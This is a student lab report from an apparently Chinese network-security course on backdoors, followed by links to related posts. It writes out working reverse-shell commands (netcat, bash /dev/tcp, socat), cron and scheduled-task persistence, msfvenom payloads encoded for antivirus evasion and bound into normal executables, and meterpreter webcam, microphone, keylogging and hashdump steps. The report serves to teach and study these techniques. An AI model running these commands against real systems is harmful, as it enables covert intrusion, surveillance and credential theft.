2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

目录

实验要求

  1. 使用netcat获取主机操作Shell,cron启动 (0.5分)

  2. 使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告

返回目录

实验内容

  • 使用nc实现win,mac,Linux间的后门连接

  • meterpreter的应用

  • MSF POST 模块的应用

返回目录

实验环境

  • macOS(IP为172.30.0.183
  • macOS下Parallels Desktop虚拟机中(网络源均设置为NAT模式):
    • Windows 7 - 64bit(IP为10.211.55.6
    • Kali Linux - 64bit(IP为10.211.55.10

返回目录

预备知识

1.后门概念

后门就是不经过正常认证流程而访问系统的通道。

哪里有后门呢?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

下面是近些年的一些例子:

  1. 编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
  2. 操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
  3. 操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
  4. 固件:更多思科路由器发现后门:中国有4台
  5. 应用:研究人员发现macOS版Skype内置了后门
  6. 应用:从广升“后门”事件看企业道德底线
  7. 应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

一个相对狭义一点的后门的概念:

  • 特指潜伏于操作系统中专门做后门的一个程序
  • “坏人”可以连接这个程序
  • 远程执行各种指令
  • 概念和木马有重叠
  • 首先得有这么一个程序

    • netcat 系列
    • meterpreter
    • intersect
    • ...特别多
  • 其次得放到系统里
    • 正版软件故意或被攻击,包含后门
    • 正版库文件中包含后门
    • 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
      • 安装包中包含后门,放到网上供下载
      • 绑定到特定文件中,放到网上供下载
      • 直接发送恶意程序给你
      • 直接发送攻击性钓鱼链接给你,恶意网站种马
      • 捡到个U盘,打开个文件看看?
    • 煤女帅锅拿U盘直接拷给你
    • 攻击系统漏洞,获取控制权后,安装后门
  • 再次还得运行起来
    • 开机自启动技术
    • win的定时任务
    • linux的cron
    • 伪装成常用软件,诱使用户点击
    • 木马化正常软件
  • 最后还得不被本机的恶意代码检测程序发现
    • 恶意代码免杀技术
  • 也不能被本机的或网络上的防火墙发现
    • 反弹式连接
    • 加密连接
    • 隧道技术

返回目录

2.常用后门工具

  • netcat

    是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明
    • Windows: 课程主页附件中下载ncat.rar解压即可使用!
    • Mac: 系统自带,"man nc",查看其使用说明:
  • Meterpreter

返回目录

实验步骤

1 用nc或netcat获取远程主机的Shell

1.1 Windows获得Linux Shell

  1. Windows 打开监听

    • ipconfig命令查看本机IP为10.211.55.6
    • 下载ncat并进入该目录,按windows + R组合键打开cmd.exe,输入ncat.exe -l -p 9999命令:
    • 这时Windows防火墙报警!为了达到实验目的,这里先将电脑上的杀软(我用的是腾讯电脑管家)和Windows防火墙暂时关闭

  2. Linux反弹连接Win,输入命令nc 10.211.55.6 9999 -e /bin/sh

  3. Windows下获得一个linux shell,可运行任何指令,如ls:

返回目录

1.2 Linux获得Win Shell

  1. ifconfig命令查看本机IP为10.211.55.10

  2. Linux运行监听指令,输入命令nc -l -p 9999

  3. Windows反弹连接Linux,在ncat目录下输入命令ncat.exe -e cmd.exe 10.211.55.10 9999

  4. Linux下看到Windows的命令提示:

  5. 可以尽情地查看并操作Windows上的文件了哈哈哈!

返回目录

1.3 Mac获取Win shell

  • Mac系统可以通过“-k”参数,实现连接关闭后自动重新侦听。
  • Mac系统下的nc不支持 “-e” 参数
  1. macOS上打开终端,输入命令ifconfig查看本机IP为172.30.0.183,这里网络类型比较多,我们找到en0对应的IPv4地址即可:
  2. 输入命令nc -l 9999运行监听指令:
  3. Windows反弹连接macOS,在ncat目录下输入命令ncat.exe -e cmd.exe 172.30.0.183 9999,可以看到Windows命令提示再次出现,接下来该干什么你懂的hiahiahia:)

    Windows 7: ???what?!

    Windows 7: 卒

返回目录

1.4 Win获取Mac Shell

  1. Windows下启动监听,在ncat目录下输入命令:ncat.exe -l -p 9999
  2. Mac下连接Win,输入命令bash -i >& /dev/tcp/10.211.55.6/9999 0>&1
  3. Win获得Mac的shell:

返回目录

1.5 Mac获取Linux Shell

  1. 主控端/服务端MAC运行指令如下,9999是nc监听的端口号:

    nc -l 9999
    
    
  2. 受控端/客户机运行指令如下。其中172.30.0.183为上一步中MAC主机的IP。9999就是上一步中的端口号:

    bash -i >& /dev/tcp/172.30.0.183/9999 0>&1
    
    

    注:nc IP Port -e /bin/sh可以达到同样的效果!

  3. MAC主机会显示Linux的命令行提示符,并运行任何Linux指令,如图:

    如果换成nc IP Port -e /bin/sh命令效果如下,和前一个命令还是有区别的,正常人都能看出来:)

返回目录

1.6 Linux获取Mac Shell

  1. Linux启动监听:

    nc -l -p 9999
    
    
  2. Mac连接Linux:

    bash -i >& /dev/tcp/10.211.55.10/9999 0>&1
    
    
  3. Linux获取Mac Shell,如下图:

返回目录

1.7 Netcat扩展知识

1.7.1 nc传输数据
  • 用nc命令传输文件的格式如下:

    目的主机监听:

    nc -l 监听端口 > 要接收的文件名

    源主机发起请求:

    nc 目的主机ip 目的端口

  • 英文描述如下:

    Start by using nc to listen on a specific port, with output captured into a file:

    $ nc -l 1234 > filename.out

    Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

    $ nc host.example.com 1234 < filename.in

    After the file has been transferred, the connection will close automatically.

  • 我的操作如下:

    1. 将macOS作为目的主机选一个端口,就用我学号5314吧,再选一个要接收的文件名,输入命令nc -l 5314 > tcp.pcapng开启监听;
    2. 将Kali Linux作为原主机发起请求,输入命令nc 172.30.0.183 5314 < tcp.pcapng
    3. macOS上打开访达->用户,发现文件已传到目的主机:

返回目录

1.7.2 SoCat

Netcat++,超级netcat工具。

不信?自己看README

windows版见附件。解压即用,不用安装。

任何代理、转发等功能都可以用该工具实现。

  • man socat命令查看socat的介绍及相关用法:

    DESCRIPTION

     **Socat**  is  a  command  line based utility that establishes two bidirec‐
    tional byte streams and transfers data between them. Because the
    streams can be constructed from a large set of different types of data
    sinks and sources (see address types), and because lots of address
    options may be applied to the streams, socat can be used for many dif‐
    ferent purposes.
     **Filan** is a utility  that  prints  information  about  its  active  file
    descriptors to stdout. It has been written for debugging **socat**, but
    might be useful for other purposes too. Use the -h option to find more
    infos.
     **Procan** is a utility that prints information about process parameters to
    stdout. It has been written to better understand some UNIX process
    properties and for debugging **socat**, but might be useful for other pur‐
    poses too.
     The life cycle of a **socat** instance typically consists of four phases.
     In the init phase, the command line options are parsed and  logging  is
    initialized.
     During the open phase, **socat** opens the first address and afterwards the
    second address. These steps are usually blocking; thus, especially for
    complex address types like socks, connection requests or authentication
    dialogs must be completed before the next step is started.
     In the transfer phase, **socat** watches both streams’ read and write  file
    descriptors via select() , and, when data is available on one side and
    can be written to the other side, socat reads it, performs newline
    character conversions if required, and writes the data to the write
    file descriptor of the other stream, then continues waiting for more
    data in both directions.
     When  one  of  the  streams  effectively reaches EOF, the closing phase
    begins. **Socat** transfers the EOF condition to the other stream, i.e.
    tries to shutdown only its write stream, giving it a chance to termi‐
    nate gracefully. For a defined time socat continues to transfer data in
    the other direction, but then closes all remaining channels and termi‐
    nates.
  • 在Windows 7中打开开始菜单,搜索管理工具并打开:

  • 找到任务计划程序并打开,点击创建任务

  • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时

  • 点击常规选项卡,输入名称(学号):

  • 再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5314 exec:cmd.exe,pty,stderr(作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置:

  • 点击右栏中的显示所有正在运行的任务,找到刚刚创建的20155314任务,右键点击运行,此时会弹出一个黑色的框框表明成功运行:

  • 在Kali Linux中输入socat - tcp:10.211.55.6:5314命令,可以成功得到一个cmd shell:

返回目录

2 Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令)
    • 扩展功能(如搜集用户信息、安装服务等功能)
    • 编码模式
    • 运行平台
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:

我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.

揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

返回目录

2.1 生成的20155314_backdoor.exe,复制到Win

  • 下面指令中用到的 ./crazymosquito.exe 是一个普通的windows可执行文件,被我复制了/home/目录下,后门会被写到这个文件中。我做实验时用的是crazymosquito.exe,你可以用其他文件代替。不论用哪个可执行文件都可以,但当然需要复制到linux下了:
msfvenom -p windows/meterpreter/reverse_tcp -x ./crazymosquito.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 20155314_backdoor.exe

或者简单点:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 -f exe > 20155314_backdoor.exe

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode

-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中

-e 使用的编码器,用于对shellcode变形,为了免杀

-i 编码器的迭代次数。如上即使用该编码器编码5次

-b badchar是payload中需要去除的字符

LHOST 是反弹回连的IP

LPORT 是回连的端口

-f 生成文件的类型

> 输出到哪个文件

  • 生成的文件当然需要通过ncat命令复制到Windows中了(当然十之八九杀毒软件会报警并删除该文件,因为是后门嘛。所以为了验证共功能,可以临时关闭一会杀毒软件。后面我们会讲到免杀,免杀完的后门杀毒软件就不会被发现了):

返回目录

2.2 MSF打开监听进程

  • 在Kali Linux中输入msfconsole命令:

    【彩蛋】每次输入这个命令界面都不一样hhh:

    ……好了不皮了开始干正事!
  • 再依次输入以下命令:
    	use exploit/multi/handler
    	set payload windows/meterpreter/reverse_tcp
    	set LHOST 10.211.55.10 //注意此处应为Linux的IP!
    	set LPORT 5314 //5314为端口号
    	show options
    	exploit

说明:

  1. LHOST需要和上一步生成backdoor.exe的一致,本例中即10.211.55.6
  2. LPORT也需要和上一步生成backdoor.exe的一致,即5314
  3. payload也要一致,即windows/meterpreter/reverse_tcp

返回目录

2.3 在Win平台双击运行20155314_backdoor.exe

  • Win平台ncat目录下找到后门并双击运行20155314_backdoor.exe:
  • Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell:

返回目录

2.4 Meterpreter常用功能

2.4.1 基本功能
  1. help命令查看meterpreter基本功能:
  2. 获取Windows命令行界面,以方便执行Windows内置功能指令,exit退出:
  3. 获取ruby交互界面,exit退出。如果你行,甚至可以用ruby直接编程(PS:我不会,所以就不多说了)

    据说可以调用windows任何API。可参考《Metasploit魔鬼训练营》第九章,有一个小例子。

  4. 玩个进程和迁移吧,把meterpreter HOOK到其他进程上,这样就不用怕用户把当前这个进程关闭了:

    不知道为什么竟然失败了:(原因还在调查中:(

    PS: 在windows下,以管理员权限运行"命令行",输入"netstat -bn",可以查看是哪个exe在连接meterpreter

  5. screenshot命令抓个图,看看对面在干啥:

    ???死肥宅??(又给自己加戏233)
  6. webcam_snap命令调用对方摄像头拍照,看看人家长啥样子:

    黑fufu??既然如此...
  7. 那就用webcam_stream命令调一波录像吧:

    喔!原来你长这样!
  8. record_mic命令录一段声音呗(萝莉音get?!):
  9. getuid命令查看当前用户,并用getsystem命令提权:

    未知原因,提权失败:(还在调查中,后续跟进吧:(

返回目录

2.4.2 后渗透攻击模块POST

MSF自带非常多的POST模块,这些模块都可以在meterpreter下使用。所谓POST模块,也就是在获得系统初步控制权后可能用到的攻击模块。

*** 针对Windows的POST模块主要有以下一些,这些既是目录名,其实也相当于是POST模块的类型 ***

POST使用很简单,在获取meterpreter会话后,会两条基本指令:info查看POST的说明,run运行POST,即可。具体有哪些POST可用,可以进到上面那些目录中看。

*** 这个POST是用来检查被控机是否是虚拟机 ***

info post/windows/gather/checkvm

*** run ***

run post/windows/gather/checkvm

然鹅我的Windows7是Parallels Desktop下的一个虚拟机啊!竟然判断错了?!

*** 试着导出密码呢!提示需要SYSTEM权限才可以!建议是migrate到一个服务进程试试!试了几个迁移失败。 ***

run post/windows/gather/hashdump

*** 试试键盘记录,用CTL+C结束记录 ***

run post/windows/capture/keylog_recorder

*** 都在这个文件中了:/root/.msf4/loot/20180328164921_default_10.211.55.6_host.windows.key_643410.txt ***

返回目录

2.4.3 安装Meterpreter(Persistence)到目标机
  • 有两种方式(参考《Metasploit魔鬼训练营》第411页):

    1. run persistence



      *** 一定学会看帮助 ***

    2. run metsvc

      不成功,可能原因是:当前进程没有SYSTEM权限。归结到一个问题:如何提权?

    3. 其他

    对于我们这种场景就简单了,应用已经在系统时了,让它自启动就可以了。加计划任务,或手工修改注册表的可以。

返回目录

3 后门启动

3.1 Windows

3.1.1 Windows->控制面板->管理工具->任务计划程序

新建任务计划

触发器

当锁定任何用户的工作站时

操作->程序或脚本

c:\Users\YLWin\Desktop\ncat\ncat.exe

操作->添加参数:

-e cmd.exe 192.168.1.105 8080

在主控机192.168.1.105:8080上打开nc,每当受控机用户锁定时,都会连接到192.168.1.105:8080.实测有效。

返回目录

3.1.2 开机启动

返回目录

3.1.3 安装为服务

返回目录

3.1.4 和其他文件捆绑

返回目录

3.1.5 powershell

powershell是微软的增强shell,在现在发行的Windows(如Win7)都内置了。你可以在"运行"中输入"powershell",就会得到一个和cmd.exe窗口看起来一样的东东。不过它支持几乎所有的Windows操作。凡是图形界面可以做的,powershell下都可以做。也支持脚本编程。

一个副作用就是,powershell脚本写成恶意代码,杀毒软件几乎检测不出来(可能是用的少,杀毒软件不检测)。

powershell下也有类似netcat的powercat。可以做后门。

返回目录

3.2 Linux

3.2.1 cron

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

  1. crontab指令增加一条定时任务,"-e"表示编辑:

  2. 因为是第一次编辑,故提示选择编辑器,我选择了3,并添加了最后一行。简单说就是在每个小时的第14分钟执行后面的那条指令:

    # m分钟 h小时  dom日期 mon月 dow周几   command执行的命令
    14 * * * * /bin/netcat 172.30.0.183 9999 -e /bin/sh

  3. 保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list:

  4. 每个小时到了14分,上面的那条指令就会执行。

  5. 如果你在另一台主机172.30.0.183让nc侦听在9999端口,那到了14分就会有获得一个shell。实测有效。这就是一个最简单的反弹式后门。你也可以开一个非反弹式的后门,如把cron指令写成nc -l -p 9999 -e /bin/sh,你的主控机可以随时连接这个主机nc IP 9999,就能获得shell。

返回目录

3.2.2 各种启动脚本

返回目录

3.2.3 和其他文件捆绑

返回目录

4 隧道技术

返回目录

5 恶意代码免杀技术

木马化

返回目录

实验中遇到的问题及解决过程

Handler failed to bind to IP:PORT:- -

原因分析及解决方案

这是IP设置错误所导致的。在输入set LHOST命令配置IP时,我错误地选择了Windows7的IP10.211.55.6。正确做法当然是选择Linux的IP10.211.55.10!此外,配置前应用ifconfig命令查看Linux的IP是否有变化,若有变化则应以最新的IP为主!成功如下图:

返回目录

实验总结与体会

  三个字,真好玩!虽然比别人多做一些,但玩转macOS、Kali Linux和Windows7三大平台的后门的感觉还是只有自己能体会得到的( ̄▽ ̄)遥想去年,本人作为一名配角参与拍摄的信安大赛微视演绎单项一等奖作品《机要风云》中“黑客”小黄(黄志远学长饰)熟练地运用后门技术,在Linux上敲几下键盘就控制了因男主小李(盛照宗饰)误操作而感染木马的涉密Windows然后调用摄像头截屏并获取本地机密文件,当时就觉得学长真的是一个特别酷的黑客。没想到一年之后的我也能做他所做之事了,还是非常有成就感的-~其实,建立一个后门连接是如此的简单,功能又如此强大。然而,“机要无小事”!通过本次亲手实践更认识到某些系统防范入侵的能力之低这一事实,植入后门如此简单令人震惊,从而间接的提高了自己的安全意识。

返回目录

参考资料

返回目录

2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. JVM笔记——编译期的优化

    一.编译过程 解析和填充符号表的过程 插入注解处理器的注解处理过程 语义分析与字节码生成过程 二.解析和填充符号表 解析包含两个过程:词法分析和语法分析 (一)词法分析 将源代码的字符流转变成标记(T ...

  2. WebForm 小项目【人员管理系统】分析

    简单的人员管理系统 展示页面 添加人员 --判断添加人员的各种条件限制 -- 各种提示 修改人员信息 -- 人员原来信息绑定 --密码不显示,密码不改时用原来密码 人员删除 using System; ...

  3. GBK与UTF-8的区别

    GBK的文字编码是双字节来表示的,即不论中.英文字符均使用双字节来表示,只不过为区分中文,将其最高位都定成1. 至于UTF-8编码则是用以解决国际上字符的一种多字节编码,它对英文使用8位(即一个字节) ...

  4. 算法第四版-文字版-下载地址-Robert Sedgewick

    下载地址:https://download.csdn.net/download/moshenglv/10777447 算法第四版,文字版,可复制,方便copy代码 目录: 第1章 基 础 ...... ...

  5. HTML中body与html的关系

    转载自张鑫旭-鑫空间-鑫生活[http://www.zhangxinxu.com] 一.相关基础 一个div块级元素没有主动为其设置宽度和高度,浏览器会为其分配可使用的最大宽度(比如全屏宽度),但是不 ...

  6. Berlekamp-Massey算法学习笔记

    Berlekamp-Massey算法 很久之前就听说过这个算法,当时六校联考的时候Day1T1是一道很有意思的递推,神仙zzx不会做于是就拿BM算法艹出了递推式Orzzzzzzzzzzx 推荐一篇讲的 ...

  7. 【读书笔记】iOS-使用传感器

    和其他的高端智能机一样,iPhone携带了很多传感器:照相机,加速度计,GPS模块和数字指南针. 使用Core Motion框架,你的应用可以读取来自于加速度计,磁力计以及陀螺仪的运动数据. 近距离传 ...

  8. Vagrant安装配置

    转载自:https://my.oschina.net/u/3424381/blog/888205 Vagrant安装配置 实际上Vagrant只是一个让你可以方便设置你想要的虚拟机的便携式工具,它底层 ...

  9. 工程设计文档服务EngineerCMS

    工程设计单位或个人的设计文件分类有其特点,利用engineercms的分类目录可以很好地管理资料.多单位,多人,多工程都可以适应. 其他engineercms是一个通用的文档管理,文档协作,在线预览d ...

  10. LeetCode题解之Binary Tree Pruning

    1.题目描述 2.问题分析 使用递归 3.代码 TreeNode* pruneTree(TreeNode* root) { if (root == NULL) return NULL; prun(ro ...